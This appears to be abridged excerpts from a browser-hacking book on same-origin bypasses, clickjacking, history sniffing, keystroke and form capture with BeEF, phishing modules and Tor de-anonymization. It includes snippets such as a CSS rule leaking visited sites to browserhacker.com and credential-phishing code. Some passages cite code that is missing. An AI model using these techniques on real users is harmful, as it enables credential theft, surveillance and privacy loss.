The SOP has been interpreted differently by all kinds of developers. This complexityand varied interpretation will work to your advantage when attackingthe browser.One way to expand your attacking opportunities is by finding a way aroundthe SOP. It will allow you to use the victim browser as a liberal pivot point tolaunch further attacks, not only to the Internet, but also to intranets and evenpotentially to the local file system.

The following sections will demonstrate methods in which the SOP can bebypassed through browser plugins, browser quirks, or even through third-partyapplications. This is in no way an extensive list of every single SOP bypass, butacts as a primer for some of the more common bypasses and methods that havebeen successful.

* + **Bypassing SOP in Adobe Reader**

Adobe Reader is infamous for the number of security bugs that have been foundin its browser plugin. There is a seemingly countless number of arbitrary codeexecution bugs caused by such classical problems as overflows and Use AfterFree vulnerabilities.11 Attacking Adobe Reader more directly will be covered inthe “Attacking PDF Readers” section of Chapter 8, but it’s important to understandhow flaws within the plugin can help bypass the SOP.

As you may know, the Adobe Reader PDF parser understands JavaScript.12 This attribute is often used by malware to hide malicious code inside PDFs. One of these flaws that allowed for the bypassing of the SOP is CVE-2013- 0622, discovered by Billy Rios, Federico Lanusse, and Mauro Gentile. The attack (now patched in Adobe Reader versions greater than 11.0.0) was similar to the second SOP bypass discussed previously in the Java section, where exploiting an open redirect would allow a foreign origin to access the origin of the redirect.

Similar to this attack, a request that returns a 302 redirect response code is used to exploit the vulnerability. Another interesting aspect of the bug is that the SOP was not enforced when specifying a resource using an XML External Entity (XXE).

* + **Bypassing SOP in Adobe Flash**

Adobe Flash utilizes the crossdomain.xml file. As with other applications, this file controls the sites where Flash can receive data. While this file should be restricted to only trusted sites, it is still common to find liberal crossdomain.xml policy files. The following is an example:

<?xml version="1.0"?>

<cross-domain-policy>

<site-control permitted-cross-domain-policies="by-content-type"/>

<allow-access-from domain="\*" />

</cross-domain-policy>

By setting the allow-access-from domain, a Flash object loaded from any origin can send requests and read responses on the domain that serves such a liberal policy. Ensuring the domain is limited to only trusted hosts is also critically important because it means every hooked browser can achieve two-way communication with the affected application using Flash.

* + **Bypassing SOP in Silverlight**

Microsoft’s Silverlight plugin uses the same SOP principle as Flash. To achieve the same cross-origin communication, the site would publish a file called clientaccess-policy.xml containing the following:

<?xml version="1.0" encoding="utf-8"?>

<access-policy>

<cross-domain-access>

<policy>

<allow-from>

<domain uri="\*"/>

</allow-from>

<grant-to>

<resource path="/" include-subpaths="true"/>

</grant-to>

</policy>

</cross-domain-access>

</access-policy>

It’s important to note the difference between the Flash and Silverlight implementations of cross-origin communication. Silverlight doesn’t segregate access between different origins based on scheme and port, unlike Flash and CORS. As a consequence, Silverlight will consider http://browserhacker.com and https://browserhacker.com as the same-origin.13. This introduces a significant issue because it creates a bridge from HTTP toHTTPS. If you can get your malicious content in over HTTP it will then have access to (potentially sensitive) content secured via HTTPS.

* + **Bypassing SOP in Internet Explorer**

Internet Explorer hasn’t been without an SOP bypass either. One example iswith Internet Explorer versions prior to 8 Beta 2 (including IE 6 and 7). Thesebrowser versions were vulnerable to an SOP bypass14 in their implementationof document.domain. The flaw was quite easy to exploit, as demonstrated byGareth Heyes.15 It consisted of simply overriding the document object and thenthe domain property.The following code snippet demonstrates this vulnerability:

var document;

document = {};

document.domain = 'browserhacker.com';

alert(document.domain);

If you try to run this code in the latest browsers, you will notice an SOP violation error in the JavaScript console. However, it will work in the older versions of Internet Explorer. By leveraging this code as part of XSS, you have the ability to open up the SOP to create bi-directional communication with other origins.

* + **Bypassing SOP in Safari**

Within the SOP, different schemes are handled as different origins. Therefore http://localhost is treated as a different origin from file://localhost. One would understandably think the SOP is enforced equally across schemes. Well, as you will see in this section, there are a few notable exceptions with the file scheme, which is usually considered to be a privileged zone. The Safari browser, from 200716 to the current (at the time of this writing) 6.0.2 version, does not enforce the SOP when a local resource is accessed.

If you happen to get JavaScript execution within Safari, you can try to trick the user into downloading and opening a local file. Combining this vulnerability with a carefully crafted social-engineering e-mail lure with an attached malicious HTML file will be enough to abuse this situation. When the attached HTML file is opened using the file scheme, the JavaScript code contained within can bypass the SOP and start two-way communications with different origins.

* + **Bypassing SOP in Firefox**

One of the more interesting SOP bypasses in Firefox was discovered by Gareth Heyes in October 2012.17 The bug was so serious that Mozilla decided to remove the ability to download Firefox 16 from their servers until the bug was fixed.18 As previous versions were not vulnerable, it’s assumed that the bug was introduced as part of the upgrade, but was not detected through regression testing in Firefox 16. The flaw resulted in unauthorized access to the window.location object outside the constraints of the SOP.

* + **Bypassing SOP in Cloud Storage**

In 2012 a number of cloud storage services were also found to have SOP bypass weaknesses. This included Dropbox 1.4.6 on iOS and 2.0.1 on Android22 and Google Drive 1.0.1 on iOS.23 These services enable the storage and synchronization of local files to the cloud. This is in order to have them available anywhere on other devices where Dropbox or Google Drive clients are installed.

If you are able to trick the target into loading an HTML file through the client application, the JavaScript code contained in the file will be executed. The fact that the file is loaded in a privileged zone allows JavaScript access to the local file system of the mobile device. Note that enforcing the SOP here is flawed by design.

This SQLite database contains the user’s address book on iOS. Of course, this file must be accessible by the application. If the target application denies file access outside of the application scope, you can still retrieve cached files, etc. Access resulting from this kind of vulnerability will be largely dependent on the vulnerable application.

* + **Bypassing SOP in CORS**

In November 2012, Veracode performed research analyzing the HTTP headers from Alexa’s top one million sites.24 More than 2000 unique origins returned a wildcard value on the Access-Control-Allow-Origin header. This effectively allows any other site on the Internet to submit cross-origin requests to the sites and read the response. In practice, this means that the attacker has the equivalent of an SOP bypass for all these domains. Depending on the web application functionality, the results of this configuration could well be catastrophic. From a hooked browser on a different origin, these origins could be spidered and attacked in a much more reliable way than in a situation where the SOP is enforced.

Obviously there might be cases where a wildcard value for the Access-Control- Allow-Origin isn’t insecure. For instance, if a permissive policy is only used to provide content that doesn’t contain sensitive information. When analyzing an application that sets CORS headers, it’s always important that you understand the relation between the allowed origins. This is even the case if a wildcard value is not used. Multiple origins might be allowed to connect to the same target. So a standard XSS vulnerability on those allowed origins might be enough for you to abuse the target functionality cross-origin.

All these SOP bypass examples are provided as conceptual illustrations it is by no means considered an exhaustive list. Other vectors could be described here and certainly many others are still to be made public. We encourage you to think about the relationship between the different varieties, and on the shared aspects they leverage. SOP bypasses relying on 301 or 302 redirects, together with schemes such as file, will almost certainly be common in new SOP enforcement bugs that will be discovered in the future.

* **Exploiting SOP Bypasses**
  + **Proxying Requests**

Once you have control over an origin, more sophisticated attacks can be useful. By leveraging the hooked browser to make requests on your behalf, you can effectively proxy requests through the hooked browser and use it to browse other origins. This comes with a number of benefits including browsing with the cookies (authentication tokens) of the hooked user, which allows for a wide range of additional access. Of course, proxying requests can also be very valuable to you even without an SOP bypass.

Other research to use a hooked browser to act as an HTTP proxy came from Ferruh Mavituna with the release of XSS Tunnel27 in 2007. This concept was subsequently implemented into BeEF to become the Tunneling Proxy. Since then, BeEF’s Tunneling Proxy has been extended to support exploiting other SOP bypasses. The concept behind the idea of proxying requests through XSS is as follows:

1. A server socket listens on the attacker machine (the proxy back end). It parses incoming HTTP requests, and translates them into AJAX requests, ready to be injected as additional JavaScript code within the hooked browser.

2. These JavaScript snippets are then sent to the hooked browser through one of the communication channels.

3. When the hooked browser executes this additional code, the corresponding AJAX request is issued and the HTTP response is sent back to the proxy back end.

4. The proxy back end strips and adjusts various headers (such as Gzip, content-length and others) and sends the response back to the client socket that originally sent the HTTP request to the proxy.

You can now use the Tunneling Proxy to check for more bugs on the web application. The requests are tunneled through the hooked browser sitting in the internal network, so they shouldn’t generate too much noise on the WAF. Ideally, they will be completely ignored by the WAF because they come from the internal network. As explored in the “Proxying through the Browser” section , you can even use Burp and sqlmap through the Tunneling Proxy. Another reason you may want to use the Tunneling Proxy within the sameorigin is if the origin surface requires authentication. Imagine you have an XSS post-authentication, and you’re able to hook a browser with that vulnerability. Using the Tunneling Proxy, you can now easily browse the authenticated surface of the application, effectively riding the hooked target’s session. You don’t even need to steal cookies. Importantly, the HttpOnly security control is not effective in this case, because it’s the target’s browser itself that is requesting resources for you.

* + **Exploiting UI Redressing Attacks**

UI redressing attacks have become prominent in browser and application securityscenarios. Due to the growth of social networks, the viral and omnipresentadvertisements and “Like” buttons, this type of attack has started to be exploitedin the wild. The most well-known type of UI redressing attack is Clickjacking. Obviously,there are various other attacks that can be classified as UI redressing. They differbased on the kind of action you can take and the information you can retrieve.Some of these are analyzed in the next sections, together with a few historicattacks that relied on drag&drop actions.

* + - **Using Clickjacking**

Clickjacking attacks rely on using independently positioned transparent Iframes and special CSS selectors to fool the user into clicking on an invisible element. This attack was first discussed in 2002 by Jesse Ruderman29 and was then later named Clickjacking by Robert Hansen and Jeremiah Grossman in 2008.

* **Clickjacking The Flash Settings Manager**

Robert Hansen and Jeremiah Grossman contributed greatly to the public awareness of Clickjacking attacks. In 2008, they were able to mount a Clickjacking attack on the Flash Settings Manager.30 Using transparent (opaque=0) IFrames and divs, they successfully hid the Flash Settings Manager “Allow” button over those elements. The target, while apparently clicking an innocuous button, would actually be clicking on the Flash The impact of such an action is clearly visible here, resulting in the compromise of the target’s privacy. Note that the text displayed in the Flash Settings Manager isn’t visible either, leaving the target completely unaware of what is happening and where they are clicking.

* + - **Using Cursorjacking**

This section will explore similar attacks to Clickjacking, however this time the attack is focused on the mouse cursor. Cursorjacking comes in handy if you need to mount complex UI redressing attacks.

* **NOSCRIPT CLEARCLICK**

NoScript is one of the more popular Firefox extensions designed to help prevent XSS, XSRF, and various UI redressing attacks. Its ClearClick32 functionality helps with identifying and preventing Clickjacking attacks by taking a screenshot of the framed page and the parent page, as you would normally see it. If the two screenshots are different, then a Clickjacking attack is identified. Using this technique, NoScript is able to identify clicks on page elements that are transparent and which are potentially being used to deliver Clickjacking attacks.

* + - **Using Filejacking**

Filejacking allows the extrusion of directory contents from the target’s underlying OS to the attacker’s server through clever UI manipulation within the browser. The result is that under certain conditions, you can download files from the target’s machine. The two prerequisites to successfully perform this attack are:

1. The target must use Chrome, because it’s currently the only browser that supports directory and webkitdirectory input attributes like the following:

<input type="file" id="file\_x " webkitdirectory directory />

2. The attack relies on baiting the target into clicking somewhere, similar to other UI redressing techniques. In this case, the input element presented is hidden behind a button element, with the common opacity CSS trick you’ve seen in the previous pages.

* + - **Using Drag and Drop**

Example of how inconsistent SOP implementations can result in vulnerabilities is the drag&drop UI redressing attack. Exploiting these holes in the target browser will result in stealing content across different origins. One of the first public disclosures of such an attack was from Michal Zalewski in late 2010.37 He reported a bug in Firefox (patched in 2012) where the SOP was not enforced when performing cross-origin drag&drop actions. You could create an IFrame in a phishing page you control. The IFrame source points to a cross-origin resource, whose content can be read by bypassing the SOP if the user drags the IFrame and drops it somewhere in the top-level window.

This behavior can be achieved by tricking the target for example, by displaying a basic game—to drag&drop elements in the page. The element that is dragged and dropped is the IFrame with the content you want to read. The first PoC applying this technique used resources framed with viewsource:. For example:

<iframe src="view-source:http://browservictim.com/any">

If a resource is loaded with view-source, the raw HTML source is rendered. There are numerous advantages to tricking the user into performing a drag&drop action of this framed content into the top-level window. These include the ability to read anti-XSRF tokens and any other information you can get reading the raw HTML of the page. This bug was patched in late 2011 in Firefox, disallowing cross-origin drag&drop actions. Kotowicz found another interesting way around this limitation, which still worked in Firefox at the time of this writing.

The technique is called “Fake Captcha”38 and covers a specific corner case. This issue occurs where a resource is framed using view-source as discussed before, and the content you want to retrieve is positioned with a specific offset on the top-level window. The technique is exploiting the fact that the user, when presented with an input field containing some content to be copied, may rely on a mouse triple-click and Ctrl+C. This action selects and copies the whole content to the clipboard. In this case, the content displayed in the input field is a fragment of a line of raw HTML from the framed content.

Another cross-origin content extraction method is the IFrame-to-Iframe drag&drop technique by Luca De Fulgentis.40 The technique is very similar to the previous drag&drop/view-source PoC. The main difference is that the target will drag&drop the target IFrame on another IFrame, not in the top-level window. In this attack, you control the drag&drop destination IFrame. When content is dropped into your IFrame, Firefox submits the information back to you, even cross-origin. This occurs because no checks on cross-origin drag&drop actions between IFrames were implemented in the codebase. In his original disclosure, De Fulgentis demonstrated how to target LinkedIn users by stealing anti-XSRF tokens, and then subsequently adding arbitrary e‑mail addresses to a target’s profile.

* + **Exploiting Browser History**

Browser history attacks reveal information about other origins. They give you a way of determining what origins the browser (and of course, the user) has been visiting. In the past, an effective form of browser history attack involved simply checking the color of links written to the page. You will briefly explore using CSS Colors, however keep in mind modern browsers have now been patched for this form of attack. You will also check out attacks involving timing. These attack methods are currently the most effective for revealing browser history information across a range of browsers. Other corner cases exist that rely on specific APIs being exposed by the browser itself. A few examples of lesser-known browsers vulnerable to these history-stealing vulnerabilities, such as Avant and Maxthon browsers will also be explored.

* + - **Using CSS Colors**

A CSS action selector could be used to check if the target visited the previous link, and therefore be present in the browser history:

#site\_1:visited {

background: url(/browserhacker.com?site=browservictim);

}

In this case, the background selector is used, but you can use any selector where a URI can be specified. In the instance of browservictim.com being present in the browser’s history, a GET request to browserhacker.com?site=browservictim would be submitted. Jeremiah Grossman disclosed a similar technique in 2006 that relied on checking the color of a link element. In most browsers, the default behavior when a link had already been visited was to set the color of the link text to violet. On the other hand, if the link had not been visited, it was set to blue. In Grossman’s original Proof of Concept,42 the visited style was overridden with a custom style (for example, a red color). A script was then used to dynamically generate links on the page, potentially hidden from the user. These were then finally compared with the previously overridden red style. If they matched, you would know that the site was present in the browser history.

* + - **Using Cache Timing**

The paper, titled “Timing Attacks on Web Privacy,” was mainly focused on measuring the time required to access a resource with or without browser caching. Using this information, it was possible to deduce if the resource was already retrieved (and cached). One of the limits of this approach was that querying the browser cache during the initial test was also tainting it. Michal Zalewski explored45 another non-destructive technique to extract browser history using a similar cache-timing technique. At the time of this writing, this technique works on modern browsers. Zalewski’s approach consists of loading resources in IFrames, trapping SOP violations and preventing the alteration of the cache. For this purpose, Iframes are great, because the SOP is enforced and you can prevent the IFrame from fully loading the resource, preventing the modification of the local cache. The cache stays unaltered thanks to the short timings used when loading and unloading resources. As soon as it can be ascertained that there is a cache miss on a particular resource, the IFrame load is stopped. Such behavior allows testing the same resource again at a later stage.

* + - **Using Browser APIs**

Avant is a lesser-known browser that can swap between the Trident, Gecko and WebKit rendering engines. Roberto Suggi Liverani discovered an attack for bypassing the SOP using specific browser API calls in the Avant browser prior to 2012 (build 28). Let’s consider the following code that shows this issue:

var av\_if = document.createElement("iframe");

av\_if.setAttribute('src', "browser:home");

av\_if.setAttribute('name','av\_if');

av\_if.setAttribute('width','0');

av\_if.setAttribute('heigth','0');

av\_if.setAttribute('scrolling','no');

document.body.appendChild(av\_if);

var vstr = {value: ""};

//This works if Firefox is the rendering engine

window['av\_if'].navigator.AFRunCommand(60003, vstr);

alert(vstr.value);

This code snippet loads the privileged browser:home address into an IFrame, and then executes the AFRunCommand() function from its navigator object. This function is an undocumented and proprietary API that Avant added to the DOM. During his research, Liverani brute-forced some of the integer values to be passed as the first parameter to the function. He found that by passing the value 60003 and a JSON object to the AFRunCommand() function, he was able to retrieve the full browser history.

This is clearly an SOP bypass because code running on an origin like http:// browserhacker.com should not be able to read the contents of a privileged zone, such as browser:home, as occurred in this case. Executing the previous code snippet would result in a pop-up containing the browser history.

A similar vulnerability has been found in Maxthon 3.4.5 build 2000. Maxthon is another web browser and, similar to Avant, Maxthon exposes non-standard APIs to access files and even launch executables. Roberto Suggi Liverani found47 that the content rendered in the about:history page does not have effective output escaping. This leads to exploitable conditions.

**Chapter 5: Attacking Users**

* **Defacing Content**

Using jQuery’s selectors,3 a single command can be used to replace a single DOM element or a collection of DOM elements. The preceding code takes the *@deface\_selector* variable, then iterates over each of these replacing the inner HTML content with the *@deface\_content* variable. The number of modified elements is finally returned back to the BeEF server. In addition to these methods of defacing content, BeEF also includes a number of other modules to automate the process of rewriting content within the DOM:

* **Replace HREFs**—Similar to the “Replace Component” module, this module iterates anchor through elements replacing the HREF attribute.
* **Replace HREFs (Click Events)**—This module is similar to the “Replace HREFs” module, but only rewrites the onClick event handling and not the actual HREF. This is similar to the Man-in-the-Browser techniques discussed in the “Using Man-in-the-Browser Attacks”. If the <a> element already contains an onClick attribute, this method will simply override the existing content. Depending on your needs, you might want to change this default behavior in order to support stacking of multiple actions triggered with a single onClick.
* **Replace HREFs (HTTPS)**—Again, this module is similar to the “Replace HREFs” module, however it modifies all links to https:// sites to http:// equivalents. This module works inline with the concepts of sslstrip, which was introduced in the “Arp Spoofing”.
* **Replace HREFs (TEL)**—Updates all tel:// links to a new phone number you specify. This is particularly useful against browsers on mobile phones because you may be able to intercept sensitive telephone calls.
* **Replace Videos**—Replaces all <embed> elements with an embedded YouTube video.
* **Capturing User Input**

Altering a page’s content may assist with tricking a user into some untoward action, but sometimes you don’t need to alter what’s displayed in a browser to gain sensitive information. Apart from being used to display visual entities within a page, the DOM is also used to set up and execute event-handling functions. Web developers use these features to attach custom functions to load, click, and mouse-over events, to name a few. These event-types are split into multiple categories, such as focus events, mouse events and keyboard events. The following sections will cover the various events and how to attach functions to them. Due to the hierarchical nature of the DOM, events often traverse up and down elements. This is known as the event flow, and is an important component of how multiple event-handling functions be triggered by certain events.

* **EVENT FLOW**

The W3C defines two event flows: event capturing and event bubbling. In either instance, all events have a target defined, and target events should be guaranteed to run. Events flow down through the DOM from the top-level document element all the way to the target.

Any handling functions between the top-level element and the target element may capture the event and perform their event-handling routines as well, as long as they match the event type, such as click or keypress. After the target’s events have run, the event-handling routines travel back up, or *bubble*, the same DOM path, performing event-handling routines as well. Why is there event capturing *and* bubbling? Initially, browser manufacturers implemented different methods; for example, Netscape wanted to capture events as they traveled down the tree, whereas Microsoft wanted to capture them as the event bubbled up. The specification doesn’t dictate either method, and so we’re often left with a combination of both. This is another example of weird but substantial differences across browsers.

* + **Using Focus Events**

Every time a user visits a website, their browser is interacting with the DOM of the currently rendered page. Even if they don’t click on any HTML elements or fill in any forms, their browser is potentially capable of submitting valuable information to an attacker. For instance, even if the user only clicks somewhere within the page, then clicks away, the browser will have already raised two different events: the focus and blur events. Extending on the previous example, you can attach a function to the focus event by executing the following JavaScript:

window.addEventListener("focus", function(event) {

alert("The window has been focused");

});

Internet Explorer versions 6 to 8 did not support the addEventListener() function, instead they used the attachEvent() function.4 To simplify the management of event handling, jQuery encapsulates this functionality into its friendly on() function. The blur and focus events form part of the focus event types as documented in W3C’s DOM Level 3 Events working draft.5 Each of the focus event types can be attached to any element within the DOM, but not to the document itself. In addition to blur and focus, W3C defines the following other events, which occur in this order:

* focusin — raised before the target is actually focused.
* focus — raised once the target is actually focused.
* DOMFocusIn — a deprecated DOM event. It’s recommended to use focus and focusin instead.
* focusout — raised on the initial target after the focus is changed.
* blur — raised after the focus is lost.
* DOMFocusOut — a deprecated DOM event. It’s recommended to use blur and focusout instead.

In general, browsers will raise more events when an element gains focus, compared to when they lose focus. With most event handler functions, the calling handler will often pass in an event object, which contains information about the element being focused, plus elements up and down the event flow. As an attacker, understanding and capturing focus events is powerful as it provides insight into whether a target is currently looking at a particular window or not. Knowing if a target has potentially changed to a different tab, or even minimized the entire browser, can be useful as part of a broader attack strategy.

* + **Using Keyboard Events**

If you can capture mouse and focus events, it surely makes sense that you can capture other valuable interactions, such as keypresses, as well. A good example of using keyboard shortcuts within a web application is Gmail. After being enabled,6 Gmail hooks into the keyboard event-handling routines and allows the user to navigate their e‑mail and perform other actions without lifting their hands from the keyboard. Similar to focus and mouse events, keyboard events follow an order, which perform various actions:

* keydown—A key is pressed down.
* keypress—A key is pressed down and that key has a character value associated with it. For example, the Shift key will not generate a keypress event, but will generate a keydown and keyup event.
* keyup—A key is released.

Applying custom functions to all of these events allows an attacker to potentially monitor all sorts of arbitrary input, regardless of whether or not the user is actually filling in a form field.7 To try to keep the verbosity of event logging in BeEF under control, a design decision was made to report only mouse click events and keyboard keypress events. To capture the events, BeEF first attaches a function to the event with the following code. The e parameter contains the event object, including information such as the key pressed, the location of the key, whether it was held down.

* + **Using Mouse and Pointer Events**

As you would expect, these are related to mouse (or trackball) interactions within the DOM. Pointer events12 are essentially the same, but triggered by mouse-less devices like smartphones and tablets. Similar to tracking the focus of elements within the DOM, capturing these events can allow an attacker to effectively monitor all mouse movements and clicks within, and if applied properly even outside, a page. The use of on-screen keyboards, or virtual keyboards, is a technique that is occasionally used to try to thwart keystroke logging; for example, when inputting your password to your online banking portal. By attaching custom logic to mouse events, attackers may potentially track the *x* and *y* coordinates of the cursor as it moves and as mouse buttons are clicked. This will potentially allow the re-creation of passwords, even though the keyboard was never touched. Apart from monitoring mouse events, there have been a number of other techniques published to defeat virtual keyboard protections used by banks. Other techniques include taking screenshots and using Win32 APIs to access the HTML document containing the virtual keyboard.In addition to the simple click events, the mouse event types also include:

* mousemove—The mouse moves over an element.
* mouseover—The mouse is moved onto the boundaries of an element.
* mouseenter—Similar to the mouseover event, but does not bubble the event up through parent elements.
* mouseout—The mouse leaves the boundaries of an element.
* mouseleave—Similar to the mouseout event, but does not bubble the event up through parent elements.
* mousedown—A mouse button is pressed over an element.
* mouseup—A mouse button is released over an element.
  + **Using Form Events**

Apart from attaching handling functions to all the keystroke events, BeEF also attaches custom logic to all <form> elements too. Leveraging jQuery’s element selector, the following is executed to attach the beef.logger.submit() function to all the forms within the current DOM:

$j('form').submit(

function(e) { beef.logger.submit(e); }

});

The beef.logger.submit() function iterates through the form being submitted, capturing all the form input fields and their values, including hidden fields, and sends these back into the BeEF server.

* **Social Engineering**

Social engineering as an effective method in which to execute the initial control code within a target’s browser. Social engineering does not have to finish there! You can exploit a number of social angles to gain a stronger hold of the browser’s session. Sometimes the easiest method to acquire information from your target is to simply *ask*. A cleverly crafted social engineering lure, especially within a legitimate browsing session, is a difficult trap to avoid for many users. These lures may take many forms, including fake software updates, fake login prompts, or even malicious applet prompts. A number of the techniques discussed in the following sections branch out of the browser, in particular those that attempt to trick the victim into running executables. Often the easiest method to execute code outside of the browser, especially in the face of a potentially patched and secured system, is to attack the user’s trust.

* + **Using TabNabbing**

Once you grasp how a user is interacting with a particular page, you may start to identify opportunities to perform activities when the user may not be looking at the current window. With the extensive use of tabs these days, a user may browse away from one tab to another. Once you’re hooked into the blur events, you can easily track how long a user has been away from the hooked window. The idea behind the TabNabbing attack, originally presented by Aza Raskin,15 is to change the content or location of an inactive tab you already control. BeEF includes almost identical logic within its “TabNabbing” command module. By default, the module takes two parameters from the user: how long the timer should wait for, and the URL of where the browser will redirect.

* + **Using the Fullscreen**

Fullscreen attacks are a great method to lull the target into a false sense of security.it performed the following steps:

1. Add new hidden HTML elements to the current page to impersonate the victim’s OS and browser.

2. Dynamically style these elements depending on the victim’s OS andbrowser.

3. Alter the click handling for the spoofed link. In Aboukhadijeh’s example,he modified a link to <https://www.bankofamerica.com>.

When clicked thislink did the following:

1. Prevent default actions and event handling.

2. Go to full screen.

3. Change the visibility of the hidden HTML elements from earlier to visible.

4. Populate the main HTML element with the spoofed content. In Aboukhadijeh’s example this was a screenshot of the actual Bank of America website.

* + **Abusing UI expectations**

Most browsers have shifted from modal to modeless notifications for file downloading, plugin activation and HTML5 privileged API calls. Safari is one of the only exceptions at the time of this writing, which still uses modal notifications. The idea of modeless notifications is to inform the user about something without interrupting the navigation on the current web page.

In other words, the aim is to increase usability without annoying the user. Rosario Valotta presented research about ways to abuse these modeless dialogs in multiple browsers at Hack In The Box 2013.17 Firstly, as covered in the previous pages of this chapter, modeless notifications are quite easy to impersonate. With a few lines of JavaScript and CSS, you can easily display the same content that Chrome or Internet Explorer would show when downloading an executable.

Moreover, Rosario identified four main issues with modeless notifications:

* Even if the window is in the background, for example a pop-under or a secondary window, modeless notifications are displayed anyway.
* Keyboard shortcuts are enabled for notification bars. Depending on the browser language, you can, for example, run an executable when prompted by a browser notification with the shortcut Alt+R (Run, English OS) or Alt+E (Esegui, Italian OS).
* Notifications bars can be navigated using the Tab key, meaning that you can move from the Run button, to Save or Cancel.
* Modeless notifications are bound to the navigation window, so they are moved around the screen, resized and closed together with the navigation window.
  + - **Using Fake Login Prompts**

If you’re already hooking into keyboard events you might wonder why you would need to try to acquire usernames and passwords through other means. After all, you can see all the keystrokes already, right? The effectiveness of capturing DOM keypress events depends entirely on where in the application the hook is established. For example, if the initial hook was injected through an XSS flaw within the login page for a web application, then hooking into DOM keypress events may divulge the user’s username and password. Unfortunately, this is not always the case; in many instances you may only be able to get the hook into the browser after the user has already authenticated. Sure, at this point you may be able to acquire current session cookies, or even ride the user’s session with BeEF’s Tunneling Proxy, but it doesn’t allow you to easily login to the application at a later stage.

Apart from the benefits of re-authenticating as the unsuspecting user, acquiring a copy of the user’s password offers other benefits too. Password reuse is a core problem with systems that rely on single-factor, password-based authentication. In these instances, if you were able to acquire a user’s password, you may be able to then use that secret to impersonate the victim over multiple systems.

* + - **Pretty Theft**

If you’re able to insert arbitrary content into the currently hooked origin, there’s nothing preventing you from displaying a more authentic-looking login dialog box. This is exactly what the “Pretty Theft” module within BeEF does. The module comes with a set of pre-canned phishing templates, including those targeting the following common services:

* Facebook
* LinkedIn
* YouTube
* Yammer

For all those other circumstances, the module also offers a *generic* mode that allows a custom image to be posted within the dialog box. The module uses a similar background darkening modal dialog box and once executed initiates a timer that continuously checks for updates to the username and password prompts.

* + - **Gmail Phishing**

As of June 2012, Google’s mail service was noted to be the most popular webmail platform available, surpassing even Hotmail at the time when it reached a staggering 425 million users, compared to Hotmail’s 360 million.21 That many users is a large attack surface to consider, and thus the “Gmail Phishing” module was born. This BeEF module, developed by @ floyd\_ch, is similar to the earlier modules, but differs slightly in its execution. When first executed, the module performs the following:

document.title = "Google Mail: Email from Google";

beef.browser.changeFavicon("https://mail.google.com/favicon.ico");

logoutGoogle();

displayPhishingSite();

The phish is set up through updating the title of the current document, and then updating the icon to Google’s favicon.ico file. The logoutGoogle() function initiates an endless loop that continually requests Google’s logout function, which doesn’t happen to have anti-XSRF controls, and therefore will log out any currently logged-in users without question. This will either log the users out if they’re logged in, or keep them logged out if they try to log in elsewhere. The displayPhishingSite() function then resets the current document.body element with the phishing content. When the target submits their data into the login prompt, the module sends the credentials back to the BeEF server, tries to open a new window hooking back into BeEF, and finally redirects them back to the Google login page. Due to the previous logout feature, the target will appear to be back at the same page as the phished content, as if they had mistyped their credentials the first time.

* + - **Using Fake Software Updates**

Security professionals (and yes, the authors include themselves in this) are often seen preaching to the insecure masses about just how important it is to keep your software up to date, especially if outstanding security patches are available. In reality though, even these precautions are often not enough, especially in the face of zero day exploits. In many circumstances, users will click the Install or OK button without thinking twice when prompts appear asking to update insecure software. Taking advantage of a user’s desire to *simply get on with what they’re doing* is a great trust to abuse to not only put your foot in the door, but to pry it wide open. Criminals often use the same technique when they attempt to distribute fake security software or malware. For example, a dialog box appears advising that the user’s security software is out of date and they must install the latest version. The software downloaded, of course, is not as it seems, and will often include malicious payloads, or fake antivirus software that requires a payment to activate. If the victim submits their payment details, the scam has succeeded.

* **Privacy Attacks**

Over time, as the number of web applications increased, particularly those dealing with potentially personal information, this started to change. Most modern browsers are quite conscious of keeping their users’ information private; some have even gone so far as to offer private browsing modes. The concept behind these modes is that the browser will not store any temporary files, cookies, or history once the browser session is closed. The feature is known by many different names on different browsers, such as:

* Chrome’s Incognito mode
* Internet Explorer’s InPrivate browsing
* Opera’s Private tab or window
* Firefox’s Private browsing
* Safari’s Private browsing

Browsers in private mode will often have some part of the user interface modified to represent the change in mode.

* + **Bypassing Anonymization**

As an attacker, there may be value in understanding whether a browser you’ve taken control of happens to be anonymizing its traffic via Tor. So how do you detect this? One of the interesting features of the Tor network is the ability for anyone to offer hidden services (that are only available from within the Tor network). Known as the Hidden Service Protocol, it’s an effective method of achieving server-side anonymization, instead of only client-side anonymization. The technical details for how the Hidden Service Protocol works are out of scope for this book, but if you want to find out more, you can visit <https://www.torproject.org/docs/hidden-services.html.en>. Because these anonymizing services are only reachable from within the Tor network, they offer a method to determine whether a hooked browser is using Tor.

If a browser is using an anonymization proxy, like Tor, then attempting to ascertain the user’s actual IP address may disclose further private information about them. This can be performed in various ways. The first method is by forcing the browser to perform a DNS request against a DNS server you control. If the browser is configured to proxy all traffic via Tor, but not proxy its DNS requests, this may leak valuable information. Identical to previous examples, this can be performed by simply adding a new Image object to the DOM that refers back to a domain resolved by a DNS server under your control.

The second technique that can help you ascertain the IP address is by loading a Java applet or Flash file. If Flash or Java is not configured to also use the Tor proxy, these files could be constructed so that all they do is try to query a unique image or other file on an attacker-controlled web server. If the plugins aren’t configured to use the browser proxy settings, these requests may reveal the real IP of the target. Another way to bypass anonymization is with BeEF’s “Get Physical Location” module. This module, developed by Keith Lee, goes a step further than simply detecting the source IP of the target. It will retrieve geographical location information based on neighboring wireless access points using commands encapsulated within a Signed Java applet.

* + **Attacking Password Managers**

Password manager software helps users store and retrieve passwords. Password managers are commonly included within browsers as native features, but are also available as separate applications. It’s also common for password manager applications to be integrated with browsers too. Unfortunately in many situations, these tools can betray you. Many sites go through security evolutions where security features are enabled in a piecemeal fashion. One of the primary protections against abuse of password managers is the control around form elements where passwords are submitted. This often involves the addition of the autocomplete="off" flag, that will prevent the browser from caching that particular form field.

* + **Controlling the Webcam and Microphone**

Apart from your physical location, your browser is capable of disclosing other sensitive information too. Many computers these days come with a built-in microphone, and some even come with built-in webcams as well. As this technology becomes cheaper, and more and more laptop manufacturers want to enable easier online communication, the ubiquity of these technologies may become the default for all new laptops.

BeEF comes with two experimental modules that interact with a target’s webcam through Flash. First is the “Webcam Permission Check” module (created by Ben Waugh), which will transparently determine if the browser is configured to allow access to the camera or microphone. The second module is the “Webcam” module, which will attempt to enable the webcam and take a number of images. Both of these modules come with a prepackaged SWF file that interacts with the browser’s DOM through JavaScript functions.

Chapter 6: Attacking Browsers

* **Fingerprinting Browsers**

